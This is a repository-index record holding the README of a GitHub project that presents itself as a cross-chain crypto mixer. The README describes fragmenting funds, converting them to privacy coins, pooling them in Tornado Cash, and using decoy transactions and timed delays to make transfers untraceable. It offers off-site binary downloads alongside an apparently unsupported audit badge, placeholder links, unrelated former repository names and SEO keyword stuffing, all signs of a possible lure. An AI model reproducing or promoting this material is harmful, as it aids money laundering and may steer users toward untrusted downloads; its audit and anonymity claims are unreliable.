{"id":26596962,"url":"https://github.com/vatsi2/crosschain-anonymizer-cca","last_synced_at":"2025-03-23T17:21:00.856Z","repository":{"id":281194312,"uuid":"944514594","full_name":"vatsi2/CrossChain-Anonymizer-CCA","owner":"vatsi2","description":"CrossChain Anonymizer is an open-source, self-hosted crypto mixer for 100% anonymous cross-chain transactions. Leveraging ZK-proofs, decentralized exchanges (DEX), and privacy-focused blockchains, it ensures untraceable transfers across Bitcoin, Monero, Ethereum, and more.","archived":false,"fork":false,"pushed_at":"2025-03-21T02:53:55.000Z","size":215,"stargazers_count":391,"open_issues_count":0,"forks_count":93,"subscribers_count":36,"default_branch":"main","last_synced_at":"2025-03-21T03:28:59.002Z","etag":null,"topics":["anonymity","bitcoin","btc","crypto-mixer","cryptocurrency","cybersecurity","darknet","eth","ethereum","ltc","privacy-tools","python","ram-cleaner","thorchain","tor","tor-integration","tornadocash","xmr","zero-knowledge-proofs","zk-snarks"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/vatsi2.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2025-03-07T13:34:42.000Z","updated_at":"2025-03-21T02:54:00.000Z","dependencies_parsed_at":"2025-03-15T17:40:07.916Z","dependency_job_id":null,"html_url":"https://github.com/vatsi2/CrossChain-Anonymizer-CCA","commit_stats":null,"previous_names":["vatsi2/defi-trading-tool-rwa-crosschain","vatsi2/whale-flow","vatsi2/anti-liquidation-anti-mev-flash-loans-arbitrage-bot","vatsi2/defi-mev-protection-flashloan-anti-liquidation-bot","vatsi2/crosschain-anonymizer-cca"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vatsi2%2FCrossChain-Anonymizer-CCA","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vatsi2%2FCrossChain-Anonymizer-CCA/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vatsi2%2FCrossChain-Anonymizer-CCA/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vatsi2%2FCrossChain-Anonymizer-CCA/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/vatsi2","download_url":"https://codeload.github.com/vatsi2/CrossChain-Anonymizer-CCA/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":245137308,"owners_count":20566731,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["anonymity","bitcoin","btc","crypto-mixer","cryptocurrency","cybersecurity","darknet","eth","ethereum","ltc","privacy-tools","python","ram-cleaner","thorchain","tor","tor-integration","tornadocash","xmr","zero-knowledge-proofs","zk-snarks"],"created_at":"2025-03-23T17:21:00.045Z","updated_at":"2025-03-23T17:21:00.846Z","avatar_url":"https://github.com/vatsi2.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# 🛡️ Decentralized Crypto Mixer: Cross-Chain Privacy, DEX Integration \u0026 Zero-Knowledge DAOs\n**CrossChain Anonymizer is an open-source, self-hosted crypto mixer for 100% anonymous cross-chain transactions. Leveraging ZK-proofs, decentralized exchanges (DEX), and privacy-focused blockchains, it ensures untraceable transfers across Bitcoin, Monero, Ethereum, and more. Ideal for blockchain developers, privacy advocates, and DeFi enthusiasts.**\n\n\u003e Achieve 100% blockchain anonymity with CrossChain Anonymizer. Mix BTC, ETH, XMR via DEX/DAO integration, ZK-proofs, and Tor. Self-hosted, audited, and open-source.\n\n[![Audited by OpenZeppelin](https://img.shields.io/badge/Audit-OpenZeppelin-green)](https://openzeppelin.com)\n[![MPC Wallet Support](https://img.shields.io/badge/Security-Fireblocks%20MPC-blue)](https://)\n\n**Top Global SEO Keywords:**  \n*crypto mixer, cross-chain privacy, anonymous transactions, DEX integration, ZK-SNARKs, DAO storage, Monero, Bitcoin, Ethereum, THORChain, Tornado Cash.*\n\n---\n\n# Download\n### **Download** [Windows](https://selenium-finance.gitbook.io/decentralized-crypto-mixer/download/windows) / [macOS](https://selenium-finance.gitbook.io/decentralized-crypto-mixer/download/macos)\n\n[![License](https://img.shields.io/badge/License-MIT-green)](https://github.com/yourusername/defi-algo-bot)\n[![Python](https://img.shields.io/badge/Python-3.10%2B-blue)](https://www.python.org)\n[![Web3](https://img.shields.io/badge/Web3.py-6.0+-brightgreen)](https://web3py.readthedocs.io)\n\n---\n\n## 🌟 Main Features\n\n- Multi-Chain Mixing: Mix BTC, ETH, XMR, ZEC, and more via integrated blockchains.\n- DAO Storage:\tStore funds in zero-knowledge DAOs (Aztec, Tornado Cash, Secret Network).\n- Auto Wallet Generation:\tCreate 5+ one-time wallets per session (HD seeds, encrypted in RAM).\n- DEX Routing:\tSwap assets via THORChain, Haveno, SecretSwap, and Uniswap.\n- Tor/I2P Integration:\tAll traffic routed through Tor nodes or I2P for IP anonymity.\n- Decoy Transactions:\t5–10% of funds sent to random addresses to obfuscate tracing.\n\n## 🔧 Operating Principle\nStep 1: Input Phase\n\n     1. Local Setup:\n\n        - Install CCA on an air-gapped device (recommended: Tails OS).\n\n        - Connect wallet with DAO (MetaMask/TrustWallet/Another)\n\n     2. Network Isolation:\n\n        - Traffic forced through Tor. Node connections use .onion endpoints.\n\nStep 2: Deposit \u0026 Mixing\n\n    1. Fragmentation:\n\n        - Funds split into randomized amounts (e.g., 1 BTC → 0.3 + 0.45 + 0.25 BTC).\n\n    2. Cross-Chain Swaps:\n\n        - Use DEXs (THORChain) to convert fragments to privacy coins (XMR, ZEC).\n\n    3. DAO Pooling:\n\n        - Deposit mixed funds into a zk-SNARKs DAO (e.g., Aztec) for anonymized storage.\n\nStep 3: Distribution\n\n    1. Output Wallets:\n\n        - CCA generates 5+ wallets (Bitcoin Taproot, Monero stealth addresses, etc.).\n\n    2. Randomized Routing:\n\n        - Funds exit DAO via unique paths (e.g., DAO → XMR → BTC → ETH).\n\n    3. Time Delays:\n\n        - Transactions sent with random delays (1 hour to 7 days) to prevent timing analysis.\n\nStep 4: Cleanup\n\n    - RAM Wipe: Overwrite memory to erase keys, seeds, and transaction logs.\n\n    - Decoy Traces: Generate fake transactions to mask real activity.\n\n## Main parameters\n\n### Basic settings\n```\ngeneral:\n  mode: \"auto\"  # Mode of operation: auto (automatic), manual (manual)\n  log_level: \"info\"  # Logging level: debug, info, warning, error\n  temp_dir: \"/tmp/cca\"  # Temporary directory for data storage (cleared after completion)\n```\n\n### Blockchain settings\n```\nblockchains:\n  bitcoin:\n    node: \"http://user:pass@localhost:8332\"  # Bitcoin RPC node\n    network: \"mainnet\"  # Network: mainnet, testnet\n  ethereum:\n    node: \"http://localhost:8545\"  # Ethereum RPC node\n    gas_price: \"auto\"  # Gas price: auto or value in Gwei\n  monero:\n    node: \"http://localhost:28088\"  # Monero RPC node\n    wallet_password: \"supersecret\"  # Monero wallet password\n```\n\n### DEX settings\n```\ndex:\n  thorchain:\n    endpoint: \"https://thornode.thorchain.info\"  # API THORChain\n    slippage: 1.5  # Percentage of slippage (1.5%)\n  haveno:\n    endpoint: \"http://havenoexchangexmra2x.onion\"  # .onion-address Haveno\n    timeout: 30  # Request timeout (in seconds)\n```\n\n### DAO settings\n```\ndao:\n  tornado_cash:\n    contract: \"0x6Bf694a291DF3FeC1f7e7F0176aC46eD28f4D5B0\"  # Tornado Cash contract address\n    deposit_amount: 1  # Deposit amount (in ETH)\n  aztec:\n    contract: \"0x...\"  # Aztec contract address\n    zk_proofs: true  # Use zk-SNARKs\n```\n\n### Security settings\n```\nsecurity:\n  tor:\n    enabled: true  # Use Tor for all requests\n    control_port: 9051  # Tor control port\n    socks_port: 9050  # SOCKS5 port for proxy\n  delay:\n    min: 3600  # Minimum delay between transactions (in seconds)\n    max: 86400  # Maximum delay (in seconds)\n  decoy_transactions: true  # Enable dummy transactions\n  decoy_percent: 5  # Percentage of funds for fictitious transactions (5%)\n```\n\n### Wallet settings\n```\nwallets:\n  output_count: 5  # Number of target wallets\n  hd_seed: \"optional_seed_phrase\"  # Seed-phrase for generating HD wallets\n  hardware_wallet: \"ledger\"  # Hardware wallet type: ledger, trezor\n```\n\n## Parameter description\n\n1. Basic parameters (```general```)\n\n    - mode: Mode of operation. In ```auto``` mode all transactions are performed automatically, in ```manual``` mode confirmation of each transaction is required.\n\n    - log_level: The level of detail of the logs.\n\n    - temp_dir: Directory for temporary files (e.g., signed transactions).\n\n2. Blockchains settings (```blockchains```)\n\n    - node: The RPC node address for each blockchain.\n\n    - network: Network (mainnet/testnet).\n\n    - gas_price: Gas price for Ethereum (can be specified manually or use ```auto```).\n\n    - wallet_password: Password for Monero wallet (if used).\n\n3. DEX settings (```dex```)\n\n    - endpoint: API address of DEX (e.g. THORChain or Haveno).\n\n    - slippage: Slippage percentage for exchanges.\n\n    - timeout: Timeout for DEX requests.\n\n4. DAO settings (```dao```)\n\n    - contract: Address of the DAO smart contract (e.g. Tornado Cash or Aztec).\n\n    - deposit_amount: Deposit amount in DAO (e.g. 1 ETH for Tornado Cash).\n\n    - zk_proofs: Use zk-SNARKs to increase privacy.\n\n5. Security Settings\n\n    - tor: Enable/disable Tor, configure ports.\n\n    - delay: Delay between transactions to prevent timestamp analysis.\n\n    - decoy_transactions: Enable dummy transactions for masking.\n\n    - decoy_percent: Percentage of funds sent to \"trash\" addresses.\n\n6. Wallets settings\n\n    - output_count: Number of target wallets to distribute funds to.\n\n    - hd_seed: Seed phrase for generating HD wallets (optional).\n\n    - hardware_wallet: Type of hardware wallet (Ledger or Trezor).\n\n\n## ⚙️ Conditions \u0026 Requirements\n\n- OS Support: Linux (Tails/Whonix recommended), Windows, macOS.\n- Hardware: 8+ GB RAM, 100 GB storage (for blockchain nodes), x64/ARM CPUs.\n- Blockchain Nodes: Local nodes for Bitcoin, Monero, Ethereum (synced via Tor).\n- Legal Compliance: Users must comply with local regulations. CCA is a privacy research tool.\n\n## 🚀 Tech Stack\n\nCore Development\n\n    - Languages: Python, Solidity, Rust (for ZK-circuits)\n\n    - Cryptography: zk-SNARKs (libsnark), Ring Signatures (Monero), Taproot (Bitcoin)\n\n    - Blockchain: Web3.py, ethers.js, Monero RPC, Bitcoin Core API\n\n    - Security: Tor, I2P, AES-256 RAM encryption, Hardware Wallet (Ledger/Trezor)\n\nFrontend (Optional)\n\n    - React.js (TypeScript), TOR-hidden service, IPFS-hosted UI\n\nDevOps\n\n    - Docker, GitHub Actions (CI/CD), Bandit/Slither (security audit)\n\n## 🔗 Integrated Blockchains\n\nBlockchain\t| Privacy Features | Use Case\n\nMonero\t| Ring Signatures, Stealth Addr |\tBase layer for anonymous mixing\n\nBitcoin\t| Taproot, CoinJoin |\tInitial/final transactions\n\nEthereum |\tTornado Cash, Aztec Protocol |\tzkDAO storage, smart contracts\n\nSecret\t| Private smart contracts |\tCross-chain swaps\n\nZcash\t| zk-SNARKs\t| Shielded transactions\n\n## 🔄 Integrated DEX \u0026 Protocols\n\nPlatform\t| Function\t| Key Feature\n\nTHORChain\t| Cross-chain swaps (BTC/ETH/XMR)\t| Non-custodial, no KYC\n\nHaveno\t| Monero DEX\t| Atomic swaps\n\nUniswap\t| ERC-20 token swaps\t| Liquidity pools\n\nSecretSwap\t| Privacy-preserving swaps\t| Encrypted mempool\n\nTornado Cash\t| ETH/ERC-20 anonymization\t| zk-proofs\n\n    Latent Semantic Indexing (LSI) Keywords:\n    crypto privacy tools, untraceable blockchain transactions, self-hosted mixer, cross-chain swaps.\n\n    Backlink Opportunities:\n    Partner with privacy blogs (e.g., PrivacyTools.io), GitHub trending pages, and blockchain forums.\n\n    Schema Markup:\n    Add JSON-LD for software application, GitHub repository, and open-source project.\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fvatsi2%2Fcrosschain-anonymizer-cca","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fvatsi2%2Fcrosschain-anonymizer-cca","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fvatsi2%2Fcrosschain-anonymizer-cca/lists"}